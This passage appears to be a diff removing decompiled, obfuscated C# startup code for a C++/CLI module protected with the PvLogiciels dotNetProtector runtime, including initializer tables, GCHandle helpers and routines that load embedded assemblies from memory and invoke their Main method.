0U; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u009B() => \u0082\u00BB.æ != uint.MaxValue; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0090() => (\u0082\u00BB.\u0081\u00A8 != uint.MaxValue ? 1 : 0) == 0 || (\u0082\u00BB.æ != uint.MaxValue ? 1 : 0) != 0 || \u0082\u00BB.\u0081\u00A8 != 1U && \u0082\u00BB.\u0081\u00A8 != 0U; - - internal static unsafe int \u0081(void* _param0) - { - GC.KeepAlive((object) int.MaxValue); - return 0; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082ª() - { - if (\u0082\u00BB.\u0081\u0082 != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081\u0082 == (\u008E.\u00A9) -1; - void** voidPtr = (void**) &\u0082\u00BB.\u00D7; - if (ref \u0082\u00BB.\u00D7 < ref \u0082\u00BB.\u00BC) - { - while (*(int*) voidPtr == 0) - { - voidPtr += 4; - if ((IntPtr) voidPtr >= ref \u0082\u00BB.\u00BC) - goto label_5; - } - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) -1; - return true; - } -label_5: - \u0082\u00BB.\u0081\u0082 = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081Ó() - { - if (\u0082\u00BB.\u0081Á != (\u008E.\u00A9) 2) - return \u0082\u00BB.\u0081Á == (\u008E.\u00A9) -1; - void** voidPtr1 = (void**) &\u0082\u00BB.Ú; - if (ref \u0082\u00BB.Ú < ref \u0082\u00BB.\u0081\u00B1) - { - while (*(int*) voidPtr1 == 0) - { - voidPtr1 += 4; - if ((IntPtr) voidPtr1 >= ref \u0082\u00BB.\u0081\u00B1) - goto label_5; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_5: - void** voidPtr2 = (void**) &\u0082\u00BB.ß; - if (ref \u0082\u00BB.ß < ref \u0082\u00BB.\u0081Ã) - { - while (*(int*) voidPtr2 == 0) - { - voidPtr2 += 4; - if ((IntPtr) voidPtr2 >= ref \u0082\u00BB.\u0081Ã) - goto label_9; - } - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) -1; - return true; - } -label_9: - \u0082\u00BB.\u0081Á = (\u008E.\u00A9) 0; - return false; - } - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0082\u008C() => \u0082\u00BB.\u0082ª() && !\u0082\u00BB.\u0081Ì || \u0082\u00BB.\u0081Ó() && !\u0082\u00BB.\u0082\u0089 && \u0082\u00BB.\u0081\u00B6 == (\u0094) 0; - - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00F7() => \u0082\u00BB.\u0082\u009B; - - internal static unsafe void \u0081á() => \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.Ð, (void*) 0); - - internal static void \u0081Ò() => \u0082\u00BB.\u0081\u0096 = 0; - - internal static void \u0081\u00BB() => \u0082\u00BB.\u00B8 = 0; - - internal static void \u0081\u00A3() => \u0082\u00BB.\u0082\u0080 = false; - - internal static void \u0081\u008E() => \u0082\u00BB.ê = (\u00AE.\u00A9) 0; - - internal static void \u00A2() => \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 0; - - internal static void \u00A5() => \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 0; - - internal static void \u00AC() => \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 0; - - [DebuggerStepThrough] - internal static unsafe void \u008C([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during vtable initialization.\n"); - \u0082\u00BB.ê = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0087, (__FnPtr*) &\u0082\u00BB.\u00B2); - \u0082\u00BB.ê = (\u00AE.\u00A9) 2; - } - - internal static unsafe void \u0082\u00B8([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load while attempting to initialize the default appdomain.\n"); - \u0082\u00BB.\u0081á(); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A4([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during native initialization.\n"); - \u0082\u00BB.\u0081\u00B7(); - \u0082\u00BB.\u0082\u0089 = true; - if (!\u0082\u00BB.\u0090()) - \u0082\u00BB.\u0081º(33); - switch (\u0082\u00BB.\u0081\u00B6) - { - case (\u0094) 0: - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u00B6 = (\u0094) 1; - if (\u0082\u00BB.\u0082\u009E((__FnPtr*) &\u0082\u00BB.Ú, (__FnPtr*) &\u0082\u00BB.\u0081\u00B1) != 0) - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0)); - \u0082\u00BB.\u0093((__FnPtr*) &\u0082\u00BB.ß, (__FnPtr*) &\u0082\u00BB.\u0081Ã); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 2; - \u0082\u00BB.ï = true; - \u0082\u00BB.\u0081Æ = (\u00AE.\u00A9) 2; - break; - case (\u0094) 1: - \u0082\u00BB.\u0081º(33); - break; - } - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u008F([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during process initialization.\n"); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0094(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u00D7, (__FnPtr*) &\u0082\u00BB.\u00BC); - \u0082\u00BB.\u00A7 = (\u00AE.\u00A9) 2; - \u0082\u00BB.\u0081Ì = true; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081û([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during appdomain initialization.\n"); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 1; - \u0082\u00BB.\u0081\u0089(); - \u0082\u00BB.\u0085((__FnPtr*) &\u0082\u00BB.\u0081Ë, (__FnPtr*) &\u0082\u00BB.ð); - \u0082\u00BB.\u0081ç = (\u00AE.\u00A9) 2; - } - - [DebuggerStepThrough] - internal static unsafe void \u0081ä([In] Ñ* obj0) - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load during registration for the unload events.\n"); - \u0082\u00BB.\u0081\u0085(new EventHandler(\u0082\u00BB.\u0081\u008F)); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void Ø([In] Ñ* obj0) - { - \u0082\u00BB.\u0082\u0080 = AppDomain.CurrentDomain.IsDefaultAppDomain(); - if (\u0082\u00BB.\u0082\u0080) - \u0082\u00BB.\u0082\u009B = true; - \u0082\u00BB.\u0081\u00A1(); - void* voidPtr1 = \u0082\u00BB.\u0081\u00BE(); - int num1 = 0; - int num2 = 0; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - while (num2 == 0) - { - try - { - } - finally - { - IntPtr comparand = (IntPtr) 0; - IntPtr num3 = (IntPtr) voidPtr1; - // ISSUE: cast to a reference type - void* voidPtr2 = (void*) Interlocked.CompareExchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num3, comparand); - if ((IntPtr) voidPtr2 == IntPtr.Zero) - num2 = 1; - else if (voidPtr2 == voidPtr1) - { - num1 = 1; - num2 = 1; - } - } - if (num2 == 0) - \u0082\u00BB.\u0081\u00B2(1000U); - } - if (!\u0082\u00BB.\u0082\u0080) - { - if (\u0082\u00BB.\u0082\u008C()) - \u0082\u00BB.\u0082\u00B8(obj0); - } - } - finally - { - if (num1 == 0) - { - IntPtr num4 = (IntPtr) 0; - // ISSUE: cast to a reference type - Interlocked.Exchange((IntPtr&) ref \u0082\u00BB.\u0081\u00AD, num4); - } - } - \u0082\u00BB.\u008C(obj0); - if (\u0082\u00BB.\u0082\u0080) - { - \u0082\u00BB.\u0082\u00A4(obj0); - \u0082\u00BB.\u0082\u008F(obj0); - } - \u0082\u00BB.\u0081û(obj0); - \u0082\u00BB.\u0081\u0096 = 1; - \u0082\u00BB.\u0081ä(obj0); - } - - internal static void \u0081À() => \u0082\u00BB.É(); - - internal static unsafe int \u0081\u00AF(void* _param0) - { - \u0082\u00BB.\u0081\u0098(); - \u0082\u00BB.\u0081Ì = false; - if (\u0082\u00BB.ï) - { - \u0082\u00BB.ì(); - \u0082\u00BB.\u0081\u00B6 = (\u0094) 0; - \u0082\u00BB.ï = false; - } - \u0082\u00BB.\u0082\u0089 = false; - return 0; - } - - internal static unsafe void \u0081\u009D() - { - if (!\u0082\u00BB.\u0082\u009B) - return; - if (AppDomain.CurrentDomain.IsDefaultAppDomain()) - { - \u0082\u00BB.\u0081\u00AF((void*) 0); - } - else - { - // ISSUE: cast to a function pointer type - \u0082\u00BB.ö((__FnPtr) (IntPtr) \u0082\u00BB.\u00BD, (void*) 0); - } - } - - [PrePrepareMethod] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static void \u0081\u008F(object _param0, EventArgs _param1) - { - if (\u0082\u00BB.\u0081\u0096 == 0 || Interlocked.Exchange(ref \u0082\u00BB.\u00B8, 1) != 0) - return; - int num = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0 ? 1 : 0; - \u0082\u00BB.É(); - if ((byte) num == (byte) 0) - return; - \u0082\u00BB.\u0081\u009D(); - } - - [DebuggerStepThrough] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void û([In] Ñ* obj0, Exception _param1) - { - try - { - bool flag = Interlocked.Decrement(ref \u0082\u00BB.\u0081ó) == 0; - \u0082\u00BB.\u0081À(); - if (!flag) - return; - \u0082\u00BB.\u0081\u009D(); - } - catch (Exception ex) - { - \u0082\u00BB.\u0081\u0095(_param1, ex); - } - catch - { - \u0082\u00BB.\u0081\u0095(_param1, (Exception) null); - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DebuggerStepThrough] - internal static unsafe void ë([In] Ñ* obj0) - { - bool flag = false; - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - \u0082\u00BB.\u00A3((Ê*) obj0, "The C++ module failed to load.\n"); - RuntimeHelpers.PrepareConstrainedRegions(); - try - { - } - finally - { - Interlocked.Increment(ref \u0082\u00BB.\u0081ó); - flag = true; - } - \u0082\u00BB.Ø(obj0); - } - catch (Exception ex) - { - if (flag) - \u0082\u00BB.û(obj0, ex); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), ex); - } - catch - { - if (flag) - \u0082\u00BB.û(obj0, (Exception) null); - \u0082\u00BB.\u00B9(\u0082\u00BB.\u009A((Ê*) obj0), (Exception) null); - } - } - - [DebuggerStepThrough] - static unsafe \u0082\u00BB() - { - Ñ ñ; - \u0082\u00BB.Ó(&ñ); - // ISSUE: fault handler - try - { - \u0082\u00BB.ë(&ñ); - } - __fault - { - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u0081\u00A4((__FnPtr) __methodptr(Æ), (void*) &ñ); - } - \u0082\u00BB.\u00B0((Ê*) &ñ); - } - - internal static unsafe Ñ* Ó([In] Ñ* obj0) - { - \u0082\u00BB.º((Ê*) obj0); - return obj0; - } - - internal static unsafe void Æ([In] Ñ* obj0) => \u0082\u00BB.\u00B0((Ê*) obj0); - - [DebuggerStepThrough] - internal static unsafe Ê* º([In] Ê* obj0) - { - IntPtr num = (IntPtr) GCHandle.Alloc((object) null); - *(int*) obj0 = (int) num.ToPointer(); - return obj0; - } - - [DebuggerStepThrough] - internal static unsafe void \u00B0([In] Ê* obj0) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe Ê* \u00A3([In] Ê* obj0, string _param1) - { - ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target = (object) _param1; - return obj0; - } - - internal static unsafe string \u009A([In] Ê* obj0) => (string) ((GCHandle) new IntPtr((void*) *(int*) obj0)).Target; - - [STAThread] - internal static unsafe int \u0082\u009C(string[] _param0) - { - try - { - \u0082\u00BB.à(1); - *\u0082\u00BB.Å() = \u0082\u00BB.\u0024; - *\u0082\u00BB.Ì() = \u0082\u00BB.\u0081ß; - \u0082\u00BB.\u0081þ(); - \u0082\u00BB.\u0082\u0081(); - if (\u0082\u00BB.\u0081í == -1) - \u0082\u00BB.Ù(-1); - \u0082º º; - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref º = \u0082\u00BB.\u0081ñ; - int num; - char** chPtr1; - char** chPtr2; - if (\u0082\u00BB.Â(&num, &chPtr1, &chPtr2, \u0082\u00BB.\u0081ô, &º) < 0) - \u0082\u00BB.\u0081º(8); - \u0082\u00BB.\u008A(); - return \u0082\u00BB.\u0081É(_param0); - } - catch (Exception ex) when (\u0082\u00BB.È((uint) Marshal.GetExceptionCode(), (\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - return Marshal.GetExceptionCode(); - } - } - - internal static unsafe void \u008A() - { - \u0082\u009A* objPtr1 = (\u0082\u009A*) \u0082\u00BB.Ò((sbyte*) 0); - if (*(ushort*) objPtr1 != (ushort) 23117) - return; - \u0082\u00A7* objPtr2 = (\u0082\u00A7*) (*(int*) ((IntPtr) objPtr1 + 60) + (IntPtr) objPtr1); - if (*(int*) objPtr2 != 17744 || *(ushort*) ((IntPtr) objPtr2 + 24) != (ushort) 267) - return; - if (*(ushort*) ((IntPtr) objPtr2 + 24 + 68) != (ushort) 3) - \u0082\u00BB.à(2); - else - \u0082\u00BB.à(1); - } - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0086() - { - object obj = new object(); - // ISSUE: cast to a reference type - // ISSUE: explicit reference operation - ^(int&) ref \u0082\u00BB.\u0091 = 0; - \u0082\u00BB.\u00AB(&\u0082\u00BB.\u0091, obj); - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0082\u00AC() => \u0082\u00BB.â(&\u0082\u00BB.\u0091) != null; - - [DebuggerStepThrough] - internal static unsafe void \u0082\u00A0() => Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - [DebuggerStepThrough] - internal static unsafe void \u0082\u0091() => Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - - internal static void \u0082\u0083() => \u0082\u00BB.ø((__FnPtr) __methodptr(\u0081Ý)); - - internal static unsafe void \u0081Ý() => \u0082\u00BB.Í(&\u0082\u00BB.\u0091); - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00BF() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Enter(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static unsafe bool \u0081\u00B8() - { - bool flag = false; - if (\u0082\u00BB.\u0082\u00AC()) - { - Monitor.Exit(\u0082\u00BB.â(&\u0082\u00BB.\u0091)); - flag = true; - } - return flag; - } - - [DebuggerStepThrough] - [return: MarshalAs(UnmanagedType.U1)] - internal static bool \u0081\u00B0() - { - if (!\u0082\u00BB.\u0082\u00AC()) - \u0082\u00BB.\u0082\u0086(); - return \u0082\u00BB.\u0082\u00AC(); - } - - internal static unsafe int \u0081\u00A6( - __FnPtr _param0, - uint* _param1, - __FnPtr** _param2, - __FnPtr** _param3) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (_param0 == null) - return -1; - int num1; - if (\u0082\u00BB.\u0081\u00BF()) - { - try - { - if (*_param1 - 1U < (uint) (*(int*) _param2 - *(int*) _param3) >> 2) - { - try - { - uint num2 = *_param1 * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local2 = _param2; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) _param3); - *(int*) local2 = (int) num5; - *(int*) _param3 = (int) num4.ToPointer(); - uint num6 = *_param1; - uint num7 = 512U >= num6 ? num6 : 512U; - *_param1 = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *_param1 * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) _param3), cb); - __FnPtr** local3 = _param2; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) _param3); - *(int*) local3 = (int) num9; - *(int*) _param3 = (int) num8.ToPointer(); - uint* numPtr = _param1; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) _param2 = (int) _param0; - __FnPtr** local4 = _param2; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = _param0; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u0082\u00BB.\u0081\u00B8(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void \u0081\u0098() - { - if ((IntPtr) \u0082\u00BB.\u0082\u0085 == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u0085 == IntPtr.Zero || (IntPtr) \u0082\u00BB.\u0082\u008D == IntPtr.Zero) - return; - \u0082\u00BB.\u0082\u008D -= 4; - if (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085) - { - do - { - if (*(int*) \u0082\u00BB.\u0082\u008D != 0) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0082\u008D)(); - } - \u0082\u00BB.\u0082\u008D -= 4; - } - while (\u0082\u00BB.\u0082\u008D >= \u0082\u00BB.\u0082\u0085); - } - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u0085)); - } - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0094() - { - if (!\u0082\u00BB.\u0081\u00B0()) - return 0; - \u0082\u00BB.\u0082\u0085 = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0082\u008D = \u0082\u00BB.\u0082\u0085; - \u0082\u00BB.\u0082\u0097 = 32U; - return 1; - } - - internal static __FnPtr \u0081\u0091(__FnPtr _param0) => \u0082\u00BB.\u0081\u008A((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - internal static unsafe int \u0081\u008A(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0082\u0097, &\u0082\u00BB.\u0082\u008D, &\u0082\u00BB.\u0082\u0085); - - [DebuggerStepThrough] - internal static unsafe int \u0081\u0089() - { - if (\u0082\u00BB.\u0081\u00B0()) - { - \u0082\u00BB.\u0082\u009F = (__FnPtr*) Marshal.AllocHGlobal(128).ToPointer(); - \u0082\u00BB.\u0081ü = \u0082\u00BB.\u0082\u009F; - \u0082\u00BB.\u0097 = 32U; - } - return 1; - } - - internal static unsafe void É() - { - if ((IntPtr) \u0082\u00BB.\u0082\u009F == new IntPtr(-1) || (IntPtr) \u0082\u00BB.\u0082\u009F == IntPtr.Zero) - return; - if ((IntPtr) \u0082\u00BB.\u0081ü == IntPtr.Zero) - return; - try - { - while (true) - { - do - { - \u0082\u00BB.\u0081ü -= 4; - if (\u0082\u00BB.\u0081ü < \u0082\u00BB.\u0082\u009F) - goto label_8; - } - while (*(int*) \u0082\u00BB.\u0081ü == 0); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) *(int*) \u0082\u00BB.\u0081ü)(); - } -label_8:; - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) \u0082\u00BB.\u0082\u009F)); - } - } - - internal static __FnPtr ý(__FnPtr _param0) => \u0082\u00BB.ø((__FnPtr) _param0) != -1 ? _param0 : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int ø(__FnPtr _param0) => \u0082\u00BB.\u0081\u00A6(_param0, &\u0082\u00BB.\u0097, &\u0082\u00BB.\u0081ü, &\u0082\u00BB.\u0082\u009F); - - [DebuggerStepThrough] - internal static unsafe void ó([In] \u0082\u0098* obj0, object _param1) - { - *(int*) obj0 = 0; - \u0082\u00BB.\u00AB(obj0, _param1); - } - - [DebuggerStepThrough] - internal static unsafe object â([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - return valueType != null ? ((GCHandle) valueType).Target : (object) null; - } - - internal static unsafe void Í([In] \u0082\u0098* obj0) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - return; - ((GCHandle) valueType).Free(); - *(int*) obj0 = 0; - } - - [DebuggerStepThrough] - internal static unsafe ValueType \u00BE([In] \u0082\u0098* obj0) - { - uint num = (uint) *(int*) obj0; - return num != 0U ? (ValueType) GCHandle.FromIntPtr(new IntPtr((void*) num)) : (ValueType) null; - } - - [DebuggerStepThrough] - internal static unsafe void \u00AB([In] \u0082\u0098* obj0, object _param1) - { - ValueType valueType = \u0082\u00BB.\u00BE(obj0); - if (valueType == null) - { - IntPtr intPtr = GCHandle.ToIntPtr(GCHandle.Alloc(_param1)); - *(int*) obj0 = (int) intPtr.ToPointer(); - } - else - ((GCHandle) valueType).Target = _param1; - } - - [DebuggerStepThrough] - internal static unsafe int \u0082\u009E(__FnPtr* _param0, __FnPtr* _param1) - { - int num1 = 0; - if (_param0 < _param1) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) _param0; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - _param0 += 4; - if (_param0 >= _param1) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void \u0093(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u0082\u0093() => typeof (\u0082\u0090).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void \u0085(__FnPtr* _param0, __FnPtr* _param1) - { - if (_param0 >= _param1) - return; - do - { - uint num = (uint) *(int*) _param0; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u0082\u00BB.\u0083((__FnPtr) (int) num))(); - } - _param0 += 4; - } - while (_param0 < _param1); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u0083(__FnPtr _param0) => (__FnPtr) (IntPtr) \u0082\u00BB.\u0082\u0093().ResolveMethodHandle((int) _param0).GetFunctionPointer().ToPointer(); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0081\u00A4(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0099(__FnPtr _param0, void* _param1) - { - try - { - void* voidPtr = _param1; - // ISSUE: function pointer call - __calli(_param0)(voidPtr); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - internal static unsafe void \u0082\u0092( - __FnPtr)> _param0, - void* _param1, - uint _param2, - int _param3, - __FnPtr _param4) - { - try - { - void* voidPtr = _param1; - int num1 = (int) _param2; - int num2 = _param3; - __FnPtr local = _param4; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(_param0)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u0082\u00BB.\u0081\u00A9((\u0082\u00B2*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - internal static void \u0082\u0081() - { - if (\u0082\u00BB.\u0081å != 0) - return; - // ISSUE: method pointer - // ISSUE: cast to a function pointer type - \u0082\u00BB.\u00BB((__FnPtr) __methodptr(\u0081ú)); - } - - internal static int \u0081þ() => 0; - - internal static unsafe int \u0081ú(\u0081î* _param0) => 0; - - internal static unsafe Assembly \u0081õ(string _param0) - { - string str = _param0.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - int length = str.IndexOf(','); - if (length >= 0) - str = str.Substring(0, length).Trim(); - bool flag = str == "PvLogiciels.dotNetProtector.Runtime"; - byte[] numArray = !flag ? new byte[\u0082\u00BB.\u00A4()] : new byte[\u0082\u00BB.\u009D()]; - if (numArray == null || numArray.Length == 0) - return (Assembly) null; - GCHandle gcHandle = GCHandle.Alloc((object) numArray, GCHandleType.Pinned); - byte* pointer = (byte*) Marshal.UnsafeAddrOfPinnedArrayElement((Array) numArray, 0).ToPointer(); - if (flag) - \u0082\u00BB.ª(pointer); - else - \u0082\u00BB.\u00B3(pointer); - gcHandle.Free(); - return Assembly.Load(numArray); - } - - internal static unsafe void* \u0081ï(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - Module module = Assembly.GetExecutingAssembly().LoadModule("embedded.netmodule", numArray); - AppDomain.CurrentDomain.SetData("PvLogiciels.dotNetProtector.embedded.netmodule", (object) module); - return Marshal.GetHINSTANCE(module).ToPointer(); - } - - internal static unsafe void* \u0081â(byte* _param0, int _param1) - { - byte[] numArray = new byte[_param1]; - Marshal.Copy((IntPtr) (void*) _param0, numArray, 0, _param1); - return Marshal.GetHINSTANCE(Assembly.Load(numArray).GetLoadedModules()[0]).ToPointer(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Û(string[] _param0) => \u003CdotNetProtector\u003E.Main(_param0); - - internal static int \u0081Ö(string[] _param0) - { - Module data = (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - if ((object) data == null) - return \u0082\u00BB.\u0081Û(_param0); - Type type = data.GetType(""); - if ((object) type == null) - return \u0082\u00BB.\u0081Û(_param0); - MethodBase method = (MethodBase) type.GetMethod("Main", BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - if ((object) method == null) - return \u0082\u00BB.\u0081Û(_param0); - object[] parameters = new object[1] - { - (object) _param0 - }; - return (int) method.Invoke((object) null, parameters); - } - - internal static Assembly \u0081Ô(object _param0, ResolveEventArgs _param1) - { - string str = _param1.Name.Replace("\\", ""); - if (!str.StartsWith("PvLogiciels.dotNetProtector.Runtime")) - return (Assembly) null; - Assembly[] assemblies = AppDomain.CurrentDomain.GetAssemblies(); - int index = 0; - if (0 < assemblies.Length) - { - Assembly assembly; - do - { - assembly = assemblies[index]; - if (!(assembly.FullName == str)) - ++index; - else - goto label_5; - } - while (index < assemblies.Length); - goto label_6; -label_5: - return assembly; - } -label_6: - return (Assembly) null; - } - - internal static Module \u0081Í(object _param0, ResolveEventArgs _param1) => (Module) AppDomain.CurrentDomain.GetData("PvLogiciels.dotNetProtector.embedded.netmodule"); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0081Ê(string[] _param0) - { - PvLogiciels.dotNetProtector.Runtime.ExeInit(typeof (RuntimeInterop), IntPtr.Zero, 0); - Assembly.GetExecutingAssembly().ModuleResolve += new ModuleResolveEventHandler(\u0082\u00BB.\u0081Í); - return \u0082\u00BB.\u0081Ö(_param0); - } - - [STAThread] - internal static int \u0081É(string[] _param0) - { - \u0082\u00BB.\u00B6(); - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0082\u00BB.\u0081Ô); - return \u0082\u00BB.\u0081Ê(_param0); - } - - internal static void \u0081È() - { - } - - internal static int \u0081Å() => 0; - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* \u0081\u00BE(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081º([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B7(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u0081\u00B2([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u00B9([In] string obj0, [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - 